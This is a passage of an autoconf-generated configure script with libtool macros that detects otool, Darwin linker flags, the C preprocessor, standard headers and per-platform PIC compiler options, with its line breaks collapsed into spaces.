$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_OTOOL="otool" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_OTOOL=$ac_cv_prog_ac_ct_OTOOL if test -n "$ac_ct_OTOOL"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OTOOL" >&5 $as_echo "$ac_ct_OTOOL" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_OTOOL" = x; then OTOOL=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac OTOOL=$ac_ct_OTOOL fi else OTOOL="$ac_cv_prog_OTOOL" fi if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}otool64", so it can be a program name with args. set dummy ${ac_tool_prefix}otool64; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_OTOOL64+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$OTOOL64"; then ac_cv_prog_OTOOL64="$OTOOL64" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_OTOOL64="${ac_tool_prefix}otool64" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi OTOOL64=$ac_cv_prog_OTOOL64 if test -n "$OTOOL64"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OTOOL64" >&5 $as_echo "$OTOOL64" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_OTOOL64"; then ac_ct_OTOOL64=$OTOOL64 # Extract the first word of "otool64", so it can be a program name with args. set dummy otool64; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_OTOOL64+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_OTOOL64"; then ac_cv_prog_ac_ct_OTOOL64="$ac_ct_OTOOL64" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_OTOOL64="otool64" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_OTOOL64=$ac_cv_prog_ac_ct_OTOOL64 if test -n "$ac_ct_OTOOL64"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OTOOL64" >&5 $as_echo "$ac_ct_OTOOL64" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_OTOOL64" = x; then OTOOL64=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac OTOOL64=$ac_ct_OTOOL64 fi else OTOOL64="$ac_cv_prog_OTOOL64" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for -single_module linker flag" >&5 $as_echo_n "checking for -single_module linker flag... " >&6; } if test "${lt_cv_apple_cc_single_mod+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_apple_cc_single_mod=no if test -z "${LT_MULTI_MODULE}"; then # By default we will add the -single_module flag. You can override # by either setting the environment variable LT_MULTI_MODULE # non-empty at configure time, or by adding -multi_module to the # link flags. rm -rf libconftest.dylib* echo "int foo(void){return 1;}" > conftest.c echo "$LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ -dynamiclib -Wl,-single_module conftest.c" >&5 $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ -dynamiclib -Wl,-single_module conftest.c 2>conftest.err _lt_result=$? if test -f libconftest.dylib && test ! -s conftest.err && test $_lt_result = 0; then lt_cv_apple_cc_single_mod=yes else cat conftest.err >&5 fi rm -rf libconftest.dylib* rm -f conftest.* fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_apple_cc_single_mod" >&5 $as_echo "$lt_cv_apple_cc_single_mod" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking for -exported_symbols_list linker flag" >&5 $as_echo_n "checking for -exported_symbols_list linker flag... " >&6; } if test "${lt_cv_ld_exported_symbols_list+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_ld_exported_symbols_list=no save_LDFLAGS=$LDFLAGS echo "_main" > conftest.sym LDFLAGS="$LDFLAGS -Wl,-exported_symbols_list,conftest.sym" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : lt_cv_ld_exported_symbols_list=yes else lt_cv_ld_exported_symbols_list=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LDFLAGS="$save_LDFLAGS" fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_exported_symbols_list" >&5 $as_echo "$lt_cv_ld_exported_symbols_list" >&6; } case $host_os in rhapsody* | darwin1.[012]) _lt_dar_allow_undefined='${wl}-undefined ${wl}suppress' ;; darwin1.*) _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; darwin*) # darwin 5.x on # if running on 10.5 or later, the deployment target defaults # to the OS version, if on x86, and 10.4, the deployment # target defaults to 10.4. Don't you love it? case ${MACOSX_DEPLOYMENT_TARGET-10.0},$host in 10.0,*86*-darwin8*|10.0,*-darwin[91]*) _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; 10.[012]*) _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; 10.*) _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; esac ;; esac if test "$lt_cv_apple_cc_single_mod" = "yes"; then _lt_dar_single_mod='$single_module' fi if test "$lt_cv_ld_exported_symbols_list" = "yes"; then _lt_dar_export_syms=' ${wl}-exported_symbols_list,$output_objdir/${libname}-symbols.expsym' else _lt_dar_export_syms='~$NMEDIT -s $output_objdir/${libname}-symbols.expsym ${lib}' fi if test "$DSYMUTIL" != ":"; then _lt_dsymutil='~$DSYMUTIL $lib || :' else _lt_dsymutil= fi ;; esac ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5 $as_echo_n "checking how to run the C preprocessor... " >&6; } # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if test "${ac_cv_prog_CPP+set}" = set; then : $as_echo_n "(cached) " >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5 $as_echo "$CPP" >&6; } ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." "$LINENO" 5; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5 $as_echo_n "checking for ANSI C header files... " >&6; } if test "${ac_cv_header_stdc+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_header_stdc=yes else ac_cv_header_stdc=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : : else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) return 2; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : else ac_cv_header_stdc=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5 $as_echo "$ac_cv_header_stdc" >&6; } if test $ac_cv_header_stdc = yes; then $as_echo "#define STDC_HEADERS 1" >>confdefs.h fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default " eval as_val=\$$as_ac_Header if test "x$as_val" = x""yes; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in dlfcn.h do : ac_fn_c_check_header_compile "$LINENO" "dlfcn.h" "ac_cv_header_dlfcn_h" "$ac_includes_default " if test "x$ac_cv_header_dlfcn_h" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_DLFCN_H 1 _ACEOF fi done # Set options enable_dlopen=no enable_win32_dll=no # Check whether --enable-shared was given. if test "${enable_shared+set}" = set; then : enableval=$enable_shared; p=${PACKAGE-default} case $enableval in yes) enable_shared=yes ;; no) enable_shared=no ;; *) enable_shared=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_shared=yes fi done IFS="$lt_save_ifs" ;; esac else enable_shared=yes fi # Check whether --enable-static was given. if test "${enable_static+set}" = set; then : enableval=$enable_static; p=${PACKAGE-default} case $enableval in yes) enable_static=yes ;; no) enable_static=no ;; *) enable_static=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_static=yes fi done IFS="$lt_save_ifs" ;; esac else enable_static=yes fi # Check whether --with-pic was given. if test "${with_pic+set}" = set; then : withval=$with_pic; pic_mode="$withval" else pic_mode=default fi test -z "$pic_mode" && pic_mode=default # Check whether --enable-fast-install was given. if test "${enable_fast_install+set}" = set; then : enableval=$enable_fast_install; p=${PACKAGE-default} case $enableval in yes) enable_fast_install=yes ;; no) enable_fast_install=no ;; *) enable_fast_install=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_fast_install=yes fi done IFS="$lt_save_ifs" ;; esac else enable_fast_install=yes fi # This can be used to rebuild libtool when needed LIBTOOL_DEPS="$ltmain" # Always use our own libtool. LIBTOOL='$(SHELL) $(top_builddir)/libtool' test -z "$LN_S" && LN_S="ln -s" if test -n "${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for objdir" >&5 $as_echo_n "checking for objdir... " >&6; } if test "${lt_cv_objdir+set}" = set; then : $as_echo_n "(cached) " >&6 else rm -f .libs 2>/dev/null mkdir .libs 2>/dev/null if test -d .libs; then lt_cv_objdir=.libs else # MS-DOS does not allow filenames that begin with a dot. lt_cv_objdir=_libs fi rmdir .libs 2>/dev/null fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_objdir" >&5 $as_echo "$lt_cv_objdir" >&6; } objdir=$lt_cv_objdir cat >>confdefs.h <<_ACEOF #define LT_OBJDIR "$lt_cv_objdir/" _ACEOF case $host_os in aix3*) # AIX sometimes has problems with the GCC collect2 program. For some # reason, if we set the COLLECT_NAMES environment variable, the problems # vanish in a puff of smoke. if test "X${COLLECT_NAMES+set}" != Xset; then COLLECT_NAMES= export COLLECT_NAMES fi ;; esac # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. sed_quote_subst='s/\(["`$\\]\)/\\\1/g' # Same as above, but do not quote variable references. double_quote_subst='s/\(["`\\]\)/\\\1/g' # Sed substitution to delay expansion of an escaped shell variable in a # double_quote_subst'ed string. delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' # Sed substitution to delay expansion of an escaped single quote. delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g' # Sed substitution to avoid accidental globbing in evaled expressions no_glob_subst='s/\*/\\\*/g' # Global variables: ofile=libtool can_build_shared=yes # All known linkers require a `.a' archive for static linking (except MSVC, # which needs '.lib'). libext=a with_gnu_ld="$lt_cv_prog_gnu_ld" old_CC="$CC" old_CFLAGS="$CFLAGS" # Set sane defaults for various variables test -z "$CC" && CC=cc test -z "$LTCC" && LTCC=$CC test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS test -z "$LD" && LD=ld test -z "$ac_objext" && ac_objext=o for cc_temp in $compiler""; do case $cc_temp in compile | *[\\/]compile | ccache | *[\\/]ccache ) ;; distcc | *[\\/]distcc | purify | *[\\/]purify ) ;; \-*) ;; *) break;; esac done cc_basename=`$ECHO "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"` # Only perform the check for file, if the check method requires it test -z "$MAGIC_CMD" && MAGIC_CMD=file case $deplibs_check_method in file_magic*) if test "$file_magic_cmd" = '$MAGIC_CMD'; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ${ac_tool_prefix}file" >&5 $as_echo_n "checking for ${ac_tool_prefix}file... " >&6; } if test "${lt_cv_path_MAGIC_CMD+set}" = set; then : $as_echo_n "(cached) " >&6 else case $MAGIC_CMD in [\\/*] | ?:[\\/]*) lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. ;; *) lt_save_MAGIC_CMD="$MAGIC_CMD" lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" for ac_dir in $ac_dummy; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. if test -f $ac_dir/${ac_tool_prefix}file; then lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file" if test -n "$file_magic_test_file"; then case $deplibs_check_method in "file_magic "*) file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | $EGREP "$file_magic_regex" > /dev/null; then : else cat <<_LT_EOF 1>&2 *** Warning: the command libtool uses to detect shared libraries, *** $file_magic_cmd, produces output that libtool cannot recognize. *** The result is that libtool may fail to recognize shared libraries *** as such. This will affect the creation of libtool libraries that *** depend on shared libraries, but programs linked with such libtool *** libraries will work regardless of this problem. Nevertheless, you *** may want to report the problem to your system manager and/or to *** bug-libtool@gnu.org _LT_EOF fi ;; esac fi break fi done IFS="$lt_save_ifs" MAGIC_CMD="$lt_save_MAGIC_CMD" ;; esac fi MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if test -n "$MAGIC_CMD"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5 $as_echo "$MAGIC_CMD" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test -z "$lt_cv_path_MAGIC_CMD"; then if test -n "$ac_tool_prefix"; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking for file" >&5 $as_echo_n "checking for file... " >&6; } if test "${lt_cv_path_MAGIC_CMD+set}" = set; then : $as_echo_n "(cached) " >&6 else case $MAGIC_CMD in [\\/*] | ?:[\\/]*) lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. ;; *) lt_save_MAGIC_CMD="$MAGIC_CMD" lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" for ac_dir in $ac_dummy; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. if test -f $ac_dir/file; then lt_cv_path_MAGIC_CMD="$ac_dir/file" if test -n "$file_magic_test_file"; then case $deplibs_check_method in "file_magic "*) file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | $EGREP "$file_magic_regex" > /dev/null; then : else cat <<_LT_EOF 1>&2 *** Warning: the command libtool uses to detect shared libraries, *** $file_magic_cmd, produces output that libtool cannot recognize. *** The result is that libtool may fail to recognize shared libraries *** as such. This will affect the creation of libtool libraries that *** depend on shared libraries, but programs linked with such libtool *** libraries will work regardless of this problem. Nevertheless, you *** may want to report the problem to your system manager and/or to *** bug-libtool@gnu.org _LT_EOF fi ;; esac fi break fi done IFS="$lt_save_ifs" MAGIC_CMD="$lt_save_MAGIC_CMD" ;; esac fi MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if test -n "$MAGIC_CMD"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5 $as_echo "$MAGIC_CMD" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi else MAGIC_CMD=: fi fi fi ;; esac # Use C for the default configuration in the libtool script lt_save_CC="$CC" ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu # Source file extension for C test sources. ac_ext=c # Object file extension for compiled C test sources. objext=o objext=$objext # Code to be used in simple compile tests lt_simple_compile_test_code="int some_variable = 0;" # Code to be used in simple link tests lt_simple_link_test_code='int main(){return(0);}' # If no C compiler was specified, use CC. LTCC=${LTCC-"$CC"} # If no C compiler flags were specified, use CFLAGS. LTCFLAGS=${LTCFLAGS-"$CFLAGS"} # Allow CC to be a program name with arguments. compiler=$CC # Save the default compiler, since it gets overwritten when the other # tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP. compiler_DEFAULT=$CC # save warnings/boilerplate of simple test code ac_outfile=conftest.$ac_objext echo "$lt_simple_compile_test_code" >conftest.$ac_ext eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err _lt_compiler_boilerplate=`cat conftest.err` $RM conftest* ac_outfile=conftest.$ac_objext echo "$lt_simple_link_test_code" >conftest.$ac_ext eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err _lt_linker_boilerplate=`cat conftest.err` $RM -r conftest* if test -n "$compiler"; then lt_prog_compiler_no_builtin_flag= if test "$GCC" = yes; then lt_prog_compiler_no_builtin_flag=' -fno-builtin' { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5 $as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; } if test "${lt_cv_prog_compiler_rtti_exceptions+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_prog_compiler_rtti_exceptions=no ac_outfile=conftest.$ac_objext echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="-fno-rtti -fno-exceptions" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. # The option is referenced via a variable to avoid confusing sed. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:7791: $lt_compile\"" >&5) (eval "$lt_compile" 2>conftest.err) ac_status=$? cat conftest.err >&5 echo "$as_me:7795: \$? = $ac_status" >&5 if (exit $ac_status) && test -s "$ac_outfile"; then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings other than the usual output. $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then lt_cv_prog_compiler_rtti_exceptions=yes fi fi $RM conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5 $as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; } if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions" else : fi fi lt_prog_compiler_wl= lt_prog_compiler_pic= lt_prog_compiler_static= { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5 $as_echo_n "checking for $compiler option to produce PIC... " >&6; } if test "$GCC" = yes; then lt_prog_compiler_wl='-Wl,' lt_prog_compiler_static='-static' case $host_os in aix*) # All AIX code is PIC. if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor lt_prog_compiler_static='-Bstatic' fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support lt_prog_compiler_pic='-fPIC' ;; m68k) # FIXME: we need at least 68020 code to build shared libraries, but # adding the `-m68020' flag to GCC prevents building anything better, # like `-m68040'. lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4' ;; esac ;; beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) # PIC is the default for these OSes. ;; mingw* | cygwin* | pw32* | os2* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). # Although the cygwin gcc ignores -fPIC, still need this for old-style # (--disable-auto-import) libraries lt_prog_compiler_pic='-DDLL_EXPORT' ;; darwin* | rhapsody*) # PIC is the default on this platform # Common symbols not allowed in MH_DYLIB files lt_prog_compiler_pic='-fno-common' ;; hpux*) # PIC is the default for 64-bit PA HP-UX, but not for 32-bit # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag # sets the default TLS model and affects inlining. case $host_cpu in hppa*64*) # +Z the default ;; *) lt_prog_compiler_pic='-fPIC' ;; esac ;; interix[3-9]*) # Interix 3.x gcc -fpic/-fPIC options generate broken code. # Instead, we relocate shared libraries at runtime. ;; msdosdjgpp*) # Just because we use GCC doesn't mean we suddenly get shared libraries # on systems that don't support them. lt_prog_compiler_can_build_shared=no enable_shared=no ;; *nto* | *qnx*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. lt_prog_compiler_pic='-fPIC -shared' ;; sysv4*MP*) if test -d /usr/nec; then lt_prog_compiler_pic=-Kconform_pic fi ;; *) lt_prog_compiler_pic='-fPIC' ;; esac else # PORTME Check for flag to pass linker flags through the system compiler. case $host_os in aix*) lt_prog_compiler_wl='-Wl,' if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor lt_prog_compiler_static='-Bstatic' else lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp' fi ;; mingw* | cygwin* | pw32* | os2* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). lt_prog_compiler_pic='-DDLL_EXPORT' ;; hpux9* | hpux10* | hpux11*) lt_prog_compiler_wl='-Wl,' # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but # not for PA HP-UX. case $host_cpu in hppa*64*|ia64*) # +Z the default ;; *) lt_prog_compiler_pic='+Z' ;; esac # Is there a better lt_prog_compiler_static that works with the bundled CC? lt_prog_compiler_static='${wl}-a ${wl}archive' ;; irix5* | irix6* | nonstopux*) lt_prog_compiler_wl='-Wl,' # PIC (with -KPIC) is the default. lt_prog_compiler_static='-non_shared' ;; linux* | k*bsd*-gnu) case $cc_basename in # old Intel for x86_64 which still supported -KPIC. ecc*) lt_prog_compiler_wl='-Wl,' lt_prog_compiler_pic='-KPIC' lt_prog_compiler_static='-static' ;; # icc used to be incompatible with GCC. # ICC 10 doesn't accept -KPIC any more. icc* | ifort*) lt_prog_compiler_wl='-Wl,' lt_prog_compiler_pic='-fPIC' lt_prog_compiler_static='-static' ;; # Lahey Fortran 8.1. lf95*) lt_prog_compiler_wl='-Wl,' lt_prog_compiler_pic='--shared' lt_prog_compiler_static='--static' ;; pgcc* | pgf77* | 